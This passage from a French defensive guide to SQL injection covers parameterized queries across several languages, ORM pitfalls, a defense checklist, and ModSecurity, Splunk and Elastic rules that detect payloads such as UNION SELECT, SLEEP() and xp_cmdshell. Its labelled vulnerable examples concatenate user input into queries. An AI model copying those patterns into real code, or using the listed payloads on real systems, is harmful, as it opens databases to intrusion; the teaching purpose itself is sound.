8. Contre-mesures défensives : du code à l'infrastructure
La prévention des injections SQL repose sur une approche de défense en profondeur combinant des mesures au niveau du code, de l'infrastructure et de la supervision. Aucune mesure unique n'est suffisante : c'est la combinaison de plusieurs couches qui assure une protection robuste.
8.1 Requêtes paramétrées (Prepared Statements)
Les requêtes paramétrées constituent la contre-mesure la plus efficace et la plus fondamentale. En séparant le code SQL des données utilisateur, elles rendent l'injection structurellement impossible. Le moteur SQL traite les paramètres comme des données littérales, jamais comme du code exécutable.
# Python (avec paramètres nommés ou positionnels)
import sqlite3
conn = sqlite3.connect('database.db')
cursor = conn.cursor()
# MAUVAIS : concaténation vulnérable
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")
# BON : requête paramétrée
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
# Python avec SQLAlchemy (ORM)
from sqlalchemy import text
result = db.session.execute(
text("SELECT * FROM users WHERE username = :name"),
{"name": username}
)
// PHP PDO - Requêtes préparées
// MAUVAIS
$stmt = $pdo->query("SELECT * FROM users WHERE id = " . $_GET['id']);
// BON : paramètre nommé
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);
// BON : paramètre positionnel avec type
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bindParam(1, $_GET['id'], PDO::PARAM_INT);
$stmt->execute();
// Java JDBC - PreparedStatement
// MAUVAIS
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
"SELECT * FROM users WHERE id = " + request.getParameter("id"));
// BON
PreparedStatement pstmt = conn.prepareStatement(
"SELECT * FROM users WHERE id = ?");
pstmt.setInt(1, Integer.parseInt(request.getParameter("id")));
ResultSet rs = pstmt.executeQuery();
// Node.js avec mysql2/promise
// MAUVAIS
const [rows] = await pool.query(
`SELECT * FROM users WHERE id = ${req.query.id}`);
// BON : requête paramétrée
const [rows] = await pool.execute(
'SELECT * FROM users WHERE id = ?', [req.query.id]);
// Node.js avec Knex.js (query builder)
const users = await knex('users').where('id', req.query.id);
8.2 Sécurité des ORM et pièges courants
Les ORM (Object-Relational Mapping) comme Hibernate, Django ORM, SQLAlchemy ou ActiveRecord protègent contre les SQLi dans la plupart des cas d'usage. Cependant, ils présentent des pièges lorsque les développeurs utilisent des requêtes brutes (raw queries), des interpolations de chaînes, ou des fonctionnalités avancées sans précaution :
# Django ORM - Pièges courants
# SÉCURISÉ : queryset natif
User.objects.filter(username=username)
# VULNÉRABLE : raw query avec formatage
User.objects.raw(f"SELECT * FROM users WHERE name = '{username}'")
# SÉCURISÉ : raw query avec paramètres
User.objects.raw("SELECT * FROM users WHERE name = %s", [username])
# VULNÉRABLE : extra() avec interpolation
User.objects.extra(where=[f"name = '{username}'"])
# SÉCURISÉ : extra() avec paramètres
User.objects.extra(where=["name = %s"], params=[username])
# ATTENTION : order_by avec entrée utilisateur non validée
# VULNÉRABLE si sort_field vient de l'utilisateur sans whitelist
User.objects.order_by(sort_field)
# SÉCURISÉ : whitelist des champs autorisés
ALLOWED_SORT = {'username', 'email', 'created_at', '-created_at'}
if sort_field in ALLOWED_SORT:
User.objects.order_by(sort_field)
8.3 Validation des entrées et principe du moindre privilège
Checklist de défense contre les injections SQL
- Requêtes paramétrées : utiliser systématiquement les prepared statements pour toutes les interactions avec la base de données, sans exception.
- Validation par whitelist : pour les identifiants dynamiques (noms de tables, colonnes, ORDER BY), valider contre une liste blanche stricte. Ne jamais accepter d'entrée utilisateur directe dans ces contextes.
- Moindre privilège DB : l'utilisateur de base de données utilisé par l'application ne doit avoir que les permissions strictement nécessaires. Pas de
FILEprivilege, pas deSUPER, pas d'accès àxp_cmdshell, pas deGRANT. Séparer les utilisateurs en lecture et écriture si possible. - Échappement complémentaire : bien que non suffisant seul, l'échappement des caractères spéciaux (
mysql_real_escape_string,pg_escape_string) sert de couche supplémentaire. - Procédures stockées sécurisées : si des procédures stockées sont utilisées, elles doivent elles-mêmes utiliser des requêtes paramétrées en interne. Une procédure qui construit du SQL dynamique est tout aussi vulnérable.
- WAF comme couche additionnelle : déployer un WAF (ModSecurity, Cloudflare, AWS WAF) avec des règles SQL injection. Un WAF ne remplace jamais le code sécurisé mais ajoute une couche de détection et de blocage.
- Monitoring et alerting : surveiller les logs SQL pour détecter les patterns d'injection (requêtes avec
UNION SELECT,SLEEP(),OR 1=1). Intégrer dans le SIEM avec des règles de corrélation. - Tests réguliers : intégrer des tests de sécurité automatisés (SAST/DAST) dans le pipeline CI/CD. Effectuer des tests de pénétration manuels réguliers.
8.4 Règles WAF et détection SIEM
La mise en place de règles de détection au niveau du WAF et du SIEM permet de détecter les tentatives d'injection SQL en temps réel. Voici des exemples de règles ModSecurity et de requêtes SIEM pour identifier les comportements suspects :
# ModSecurity - Règles personnalisées SQLi
SecRule ARGS "@rx (?i)(union\s+select|select\s+.*\s+from|insert\s+into|delete\s+from|drop\s+table|update\s+.*\s+set)" \
"id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt Detected',\
logdata:'Matched Data: %{MATCHED_VAR} in %{MATCHED_VAR_NAME}',\
tag:'attack-sqli',severity:'CRITICAL'"
# Bloquer les fonctions dangereuses
SecRule ARGS "@rx (?i)(sleep\s*\(|benchmark\s*\(|waitfor\s+delay|pg_sleep|load_file|into\s+(out|dump)file|xp_cmdshell)" \
"id:1002,phase:2,deny,status:403,msg:'SQL Injection - Dangerous Function'"
# Splunk - Détection de tentatives SQLi
index=web_logs
(uri_query="*UNION*SELECT*" OR uri_query="*OR+1=1*"
OR uri_query="*SLEEP(*" OR uri_query="*WAITFOR*DELAY*"
OR uri_query="*information_schema*" OR uri_query="*xp_cmdshell*")
| stats count by src_ip, uri_path, uri_query
| where count > 5
| sort -count
# Elastic SIEM - Rule pour détection SQLi
{
"rule": {
"name": "SQL Injection Attempt",
"query": "url.query:(*UNION* AND *SELECT*) OR url.query:(*OR* AND *1=1*)",
"severity": "high",
"type": "query",
"index": ["filebeat-*"]
}
}
Pour aller plus loin dans la sécurisation des API qui interagissent avec les bases de données, consultez notre guide sur les attaques API GraphQL et REST qui couvre les vecteurs d'injection spécifiques aux architectures API modernes.
9. Conclusion : l'injection SQL en perspective
L'injection SQL reste, en 2026, l'une des vulnérabilités les plus dangereuses et les plus exploitées dans le paysage de la sécurité applicative. Malgré l'existence de contre-mesures efficaces et largement documentées depuis plus de vingt ans, de nouvelles applications vulnérables sont déployées quotidiennement. Ce paradoxe s'explique par plusieurs facteurs : la pression des délais de livraison, le manque de formation en sécurité des développeurs, l'utilisation de code legacy non maintenu, et la complexité croissante des architectures applicatives modernes.
Les techniques avancées explorées dans cet article -- de l'injection Union-based à l'exfiltration Out-of-Band, en passant par les injections de second ordre et le bypass de WAF -- illustrent la diversité et la sophistication des vecteurs d'attaque disponibles pour un pentesteur compétent. Un WAF, même correctement configuré, ne peut pas remplacer un code sécurisé utilisant systématiquement des requêtes paramétrées. La défense en profondeur reste le seul paradigme viable.
Pour les professionnels de la sécurité offensive, la maîtrise des injections SQL avancées est une compétence fondamentale qui s'étend bien au-delà du simple ' OR 1=1--. La capacité à identifier et exploiter des injections dans des contextes variés (ORDER BY, INSERT, second-order), à contourner des protections (WAF, filtres applicatifs), et à maximiser l'impact (RCE, exfiltration) distingue le pentesteur junior de l'expert. SQLMap est un outil puissant, mais sa maîtrise passe par la compréhension profonde des mécanismes sous-jacents.
Pour les équipes de défense, la priorité absolue reste l'utilisation systématique de requêtes paramétrées, combinée au principe du moindre privilège pour les comptes de base de données, à une validation stricte par whitelist des entrées non paramétrables (identifiants de colonnes, directions de tri), et à un monitoring continu des patterns d'injection dans les logs applicatifs et WAF. L'intégration de tests de sécurité automatisés (SAST, DAST) dans les pipelines CI/CD permet de détecter les régressions avant le déploiement en production.
Besoin d'un audit de sécurité applicative ?
Nos experts testent vos applications contre les injections SQL avancées, les vulnérabilités OWASP Top 10, et les vecteurs d'attaque modernes. Rapport détaillé avec recommandations de remédiation prioritaire.
Demander un auditRéférences et ressources externes
- OWASP SQL Injection -- Guide de référence OWASP sur les injections SQL
- CWE-89 -- Improper Neutralization of Special Elements used in an SQL Command
- PortSwigger SQL Injection -- Labs et ressources d'apprentissage pratiques
- SQLMap -- Outil open source de détection et d'exploitation SQLi
- OWASP Cheat Sheet SQLi Prevention -- Guide de prévention des injections SQL
- MITRE ATT&CK T1190 -- Exploit Public-Facing Application
